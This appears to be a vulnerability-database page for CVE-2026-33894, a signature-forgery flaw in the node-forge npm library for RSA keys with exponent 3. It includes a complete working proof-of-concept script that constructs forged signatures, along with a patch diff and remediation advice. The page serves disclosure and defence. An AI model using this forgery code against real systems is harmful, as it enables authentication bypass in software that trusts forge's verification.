Node.js CVE-2026-33894
HIGHSeverity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Primary rating from Vendor (https://github.com/digitalbazaar/forge).
CVSS VectorVendor: https://github.com/digitalbazaar/forge
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Lifecycle Timeline
4Blast Radius
ecosystem impact- 64,023 npm packages depend on node-forge (2,805 direct, 61,321 indirect)
Ecosystem-wide dependent count for version 1.4.0.
DescriptionCVE.org
Summary
RSASSA PKCS#1 v1.5 signature verification accepts forged signatures for low public exponent keys (e=3). Attackers can forge signatures by stuffing “garbage” bytes within the ASN structure in order to construct a signature that passes verification, enabling Bleichenbacher style forgery. This issue is similar to CVE-2022-24771, but adds bytes in an addition field within the ASN structure, rather than outside of it.
Additionally, forge does not validate that signatures include a minimum of 8 bytes of padding as defined by the specification, providing attackers additional space to construct Bleichenbacher forgeries.
Impacted Deployments
Tested commit: 8e1d527fe8ec2670499068db783172d4fb9012e5 Affected versions: tested on v1.3.3 (latest release) and recent prior versions.
Configuration assumptions:
- Invoke key.verify with defaults (default
schemeuses RSASSA-PKCS1-v1_5). _parseAllDigestBytes: true(default setting).
Root Cause
In lib/rsa.js, key.verify(...), forge decrypts the signature block, decodes PKCS#1 v1.5 padding (_decodePkcs1_v1_5), parses ASN.1, and compares capture.digest to the provided digest.
Two issues are present with this logic:
- Strict DER byte-consumption (
_parseAllDigestBytes) only guarantees all bytes are parsed, not that the parsed structure is the canonical minimal DigestInfo shape expected by RFC 8017 verification semantics. A forged EM with attacker-controlled additional ASN.1 content inside the parsed container can still pass forge verification while OpenSSL rejects it. _decodePkcs1_v1_5comments mention that PS < 8 bytes should be rejected, but does not implement this logic.
Reproduction Steps
- Use Node.js (tested with
v24.9.0) and clonedigitalbazaar/forgeat commit8e1d527fe8ec2670499068db783172d4fb9012e5. - Place and run the PoC script (
repro_min.js) withnode repro_min.jsin the same level as theforgefolder. - The script generates a fresh RSA keypair (
4096bits,e=3), creates a normal control signature, then computes a forged candidate using cube-root interval construction. - The script verifies both signatures with:
- forge verify (
_parseAllDigestBytes: true), and - Node/OpenSSL verify (
crypto.verifywithRSA_PKCS1_PADDING).
- Confirm output includes:
control-forge-strict: truecontrol-node: trueforgery (forge library, strict): trueforgery (node/OpenSSL): false
Proof of Concept
Overview:
- Demonstrates a valid control signature and a forged signature in one run.
- Uses strict forge parsing mode explicitly (
_parseAllDigestBytes: true, also forge default). - Uses Node/OpenSSL as an differential verification baseline.
- Observed output on tested commit:
control-forge-strict: true
control-node: true
forgery (forge library, strict): true
forgery (node/OpenSSL): false<details><summary>repro_min.js</summary>
#!/usr/bin/env node
'use strict';
const crypto = require('crypto');
const forge = require('./forge/lib/index');
// DER prefix for PKCS#1 v1.5 SHA-256 DigestInfo, without the digest bytes:
// SEQUENCE {
// SEQUENCE { OID sha256, NULL },
// OCTET STRING <32-byte digest>
// }
// Hex: 30 0d 06 09 60 86 48 01 65 03 04 02 01 05 00 04 20
const DIGESTINFO_SHA256_PREFIX = Buffer.from(
'300d060960864801650304020105000420',
'hex'
);
const toBig = b => BigInt('0x' + (b.toString('hex') || '0'));
function toBuf(n, len) {
let h = n.toString(16);
if (h.length % 2) h = '0' + h;
const b = Buffer.from(h, 'hex');
return b.length < len ? Buffer.concat([Buffer.alloc(len - b.length), b]) : b;
}
function cbrtFloor(n) {
let lo = 0n;
let hi = 1n;
while (hi * hi * hi <= n) hi <<= 1n;
while (lo + 1n < hi) {
const mid = (lo + hi) >> 1n;
if (mid * mid * mid <= n) lo = mid;
else hi = mid;
}
return lo;
}
const cbrtCeil = n => {
const f = cbrtFloor(n);
return f * f * f === n ? f : f + 1n;
};
function derLen(len) {
if (len < 0x80) return Buffer.from([len]);
if (len <= 0xff) return Buffer.from([0x81, len]);
return Buffer.from([0x82, (len >> 8) & 0xff, len & 0xff]);
}
function forgeStrictVerify(publicPem, msg, sig) {
const key = forge.pki.publicKeyFromPem(publicPem);
const md = forge.md.sha256.create();
md.update(msg.toString('utf8'), 'utf8');
try {
// verify(digestBytes, signatureBytes, scheme, options):
// - digestBytes: raw SHA-256 digest bytes for `msg`
// - signatureBytes: binary-string representation of the candidate signature
// - scheme: undefined => default RSASSA-PKCS1-v1_5
// - options._parseAllDigestBytes: require DER parser to consume all bytes
// (this is forge's default for verify; set explicitly here for clarity)
return { ok: key.verify(md.digest().getBytes(), sig.toString('binary'), undefined, { _parseAllDigestBytes: true }) };
} catch (err) {
return { ok: false, err: err.message };
}
}
function main() {
const { privateKey, publicKey } = crypto.generateKeyPairSync('rsa', {
modulusLength: 4096,
publicExponent: 3,
privateKeyEncoding: { type: 'pkcs1', format: 'pem' },
publicKeyEncoding: { type: 'pkcs1', format: 'pem' }
});
const jwk = crypto.createPublicKey(publicKey).export({ format: 'jwk' });
const nBytes = Buffer.from(jwk.n, 'base64url');
const n = toBig(nBytes);
const e = toBig(Buffer.from(jwk.e, 'base64url'));
if (e !== 3n) throw new Error('expected e=3');
const msg = Buffer.from('forged-message-0', 'utf8');
const digest = crypto.createHash('sha256').update(msg).digest();
const algAndDigest = Buffer.concat([DIGESTINFO_SHA256_PREFIX, digest]);
// Minimal prefix that forge currently accepts: 00 01 00 + DigestInfo + extra OCTET STRING.
const k = nBytes.length;
// ffCount can be set to any value at or below 111 and produce a valid signature.
// ffCount should be rejected for values below 8, since that would constitute a malformed PKCS1 package.
// However, current versions of node forge do not check for this.
// Rejection of packages with less than 8 bytes of padding is bad but does not constitute a vulnerability by itself.
const ffCount = 0;
// `garbageLen` affects DER length field sizes, which in turn affect how
// many bytes remain for garbage. Iterate to a fixed point so total EM size is exactly `k`.
// A small cap (8) is enough here: DER length-size transitions are discrete
// and few (<128, <=255, <=65535, ...), so this stabilizes quickly.
let garbageLen = 0;
for (let i = 0; i < 8; i += 1) {
const gLenEnc = derLen(garbageLen).length;
const seqLen = algAndDigest.length + 1 + gLenEnc + garbageLen;
const seqLenEnc = derLen(seqLen).length;
const fixed = 2 + ffCount + 1 + 1 + seqLenEnc + algAndDigest.length + 1 + gLenEnc;
const next = k - fixed;
if (next === garbageLen) break;
garbageLen = next;
}
const seqLen = algAndDigest.length + 1 + derLen(garbageLen).length + garbageLen;
const prefix = Buffer.concat([
Buffer.from([0x00, 0x01]),
Buffer.alloc(ffCount, 0xff),
Buffer.from([0x00]),
Buffer.from([0x30]), derLen(seqLen),
algAndDigest,
Buffer.from([0x04]), derLen(garbageLen)
]);
// Build the numeric interval of all EM values that start with `prefix`:
// - `low` = prefix || 00..00
// - `high` = one past (prefix || ff..ff)
// Then find `s` such that s^3 is inside [low, high), so EM has our prefix.
const suffixLen = k - prefix.length;
const low = toBig(Buffer.concat([prefix, Buffer.alloc(suffixLen)]));
const high = low + (1n << BigInt(8 * suffixLen));
const s = cbrtCeil(low);
if (s > cbrtFloor(high - 1n) || s >= n) throw new Error('no candidate in interval');
const sig = toBuf(s, k);
const controlMsg = Buffer.from('control-message', 'utf8');
const controlSig = crypto.sign('sha256', controlMsg, {
key: privateKey,
padding: crypto.constants.RSA_PKCS1_PADDING
});
// forge verification calls (library under test)
const controlForge = forgeStrictVerify(publicKey, controlMsg, controlSig);
const forgedForge = forgeStrictVerify(publicKey, msg, sig);
// Node.js verification calls (OpenSSL-backed reference behavior)
const controlNode = crypto.verify('sha256', controlMsg, {
key: publicKey,
padding: crypto.constants.RSA_PKCS1_PADDING
}, controlSig);
const forgedNode = crypto.verify('sha256', msg, {
key: publicKey,
padding: crypto.constants.RSA_PKCS1_PADDING
}, sig);
console.log('control-forge-strict:', controlForge.ok, controlForge.err || '');
console.log('control-node:', controlNode);
console.log('forgery (forge library, strict):', forgedForge.ok, forgedForge.err || '');
console.log('forgery (node/OpenSSL):', forgedNode);
}
main();</details>
Suggested Patch
- Enforce PKCS#1 v1.5 BT=0x01 minimum padding length (
PS >= 8) in_decodePkcs1_v1_5before accepting the block. - Update the RSASSA-PKCS1-v1_5 verifier to require canonical DigestInfo structure only (no extra attacker-controlled ASN.1 content beyond expected fields).
Here is a Forge-tested patch to resolve the issue, though it should be verified for consumer projects:
index b207a63..ec8a9c1 100644
--- a/lib/rsa.js
+++ b/lib/rsa.js
@@ -1171,6 +1171,14 @@ pki.setRsaPublicKey = pki.rsa.setPublicKey = function(n, e) {
error.errors = errors;
throw error;
}
+
+ if(obj.value.length != 2) {
+ var error = new Error(
+ 'DigestInfo ASN.1 object must contain exactly 2 fields for ' +
+ 'a valid RSASSA-PKCS1-v1_5 package.');
+ error.errors = errors;
+ throw error;
+ }
// check hash algorithm identifier
// see PKCS1-v1-5DigestAlgorithms in RFC 8017
// FIXME: add support to validator for strict value choices
@@ -1673,6 +1681,10 @@ function _decodePkcs1_v1_5(em, key, pub, ml) {
}
++padNum;
}
+
+ if (padNum < 8) {
+ throw new Error('Encryption block is invalid.');
+ }
} else if(bt === 0x02) {
// look for 0x00 byte
padNum = 0;Resources
- RFC 2313 (PKCS v1.5): https://datatracker.ietf.org/doc/html/rfc2313#section-8
- > This limitation guarantees that the length of the padding string PS is at least eight octets, which is a security condition.
- RFC 8017: https://www.rfc-editor.org/rfc/rfc8017.html
lib/rsa.jskey.verify(...)at lines ~1139-1223.lib/rsa.js_decodePkcs1_v1_5(...)at lines ~1632-1695.
Credit
This vulnerability was discovered as part of a U.C. Berkeley security research project by: Austin Chu, Sohee Kim, and Corban Villa.
AnalysisAI
Signature forgery in node-forge npm package (all versions through v1.3.3) allows remote attackers to bypass RSASSA PKCS#1 v1.5 signature verification for RSA keys using low public exponent (e=3). Attackers can construct Bleichenbacher-style forged signatures by injecting malicious ASN.1 content within DigestInfo structures and exploiting missing padding length validation, enabling authentication bypass in systems relying on forge for cryptographic verification. Proof-of-concept code demonstrates successful forgery against forge while OpenSSL correctly rejects the same signature. CVSS score 7.5 (High) with network attack vector, low complexity, and no privileges required. No public exploit identified at time of analysis beyond the research POC.
Technical ContextAI
The vulnerability affects node-forge (pkg:npm/node-forge), a JavaScript cryptography library implementing RSA signature operations. The flaw resides in lib/rsa.js within the RSASSA PKCS#1 v1.5 signature verification path. Two implementation defects enable forgery: First, the _decodePkcs1_v1_5 function fails to enforce RFC 2313's requirement for minimum 8-byte padding (PS >= 8), despite comments acknowledging this requirement. Second, the ASN.1 parser in key.verify accepts non-canonical DigestInfo structures containing attacker-controlled extra ASN.1 fields (CWE-20: Improper Input Validation). While the _parseAllDigestBytes setting ensures all bytes are parsed, it does not validate canonical structure shape. Attackers exploiting keys with e=3 can use cube-root interval arithmetic to construct signature blocks containing injected OCTET STRING fields that pass forge's lenient validation while legitimate implementations (OpenSSL) correctly reject them. This represents a variant of CVE-2022-24771 with a different injection vector inside rather than outside ASN.1 structures.
RemediationAI
Apply the vendor-provided patch that enforces two critical validations: minimum 8-byte padding length check in _decodePkcs1_v1_5 function and canonical DigestInfo structure validation requiring exactly 2 ASN.1 fields in the parsed object. The patch is available at https://github.com/digitalbazaar/forge/security/advisories/GHSA-ppp5-5v6c-4jwp with specific code changes provided in the advisory diff. Until patching is completed, organizations should audit RSA key configurations and migrate any keys using e=3 to standard e=65537 public exponent, which significantly increases the computational difficulty of Bleichenbacher-style forgeries. For applications where immediate patching is not feasible, implement additional signature verification using a secondary library (such as Node.js crypto with OpenSSL backend) to provide defense-in-depth against forged signatures. Review RFC 8017 and RFC 2313 specifications at https://www.rfc-editor.org/rfc/rfc8017.html and https://datatracker.ietf.org/doc/html/rfc2313#section-8 for proper PKCS#1 v1.5 implementation requirements.
FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote
Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t
Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete
Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc
An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner
Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi
Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin
The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic
Directory traversal vulnerability in lib/app/index.js in Geddy before 13.0.8 for Node.js allows remote attackers to read
Credential-harvesting malware compromised 84 versions of 42 TanStack npm packages on 2026-05-11 via chained GitHub Actio
Eval injection vulnerability in index.js in the syntax-error package before 1.1.1 for Node.js 0.10.x, as used in IBM Rat
The HTTP server in Node.js 0.10.x before 0.10.21 and 0.8.x before 0.8.26 allows remote attackers to cause a denial of se
Same weakness CWE-20 – Improper Input Validation
View allSame technique Information Disclosure
View allVendor StatusVendor
Share
External POC / Exploit Code
Leaving vuln.today
GHSA-ppp5-5v6c-4jwp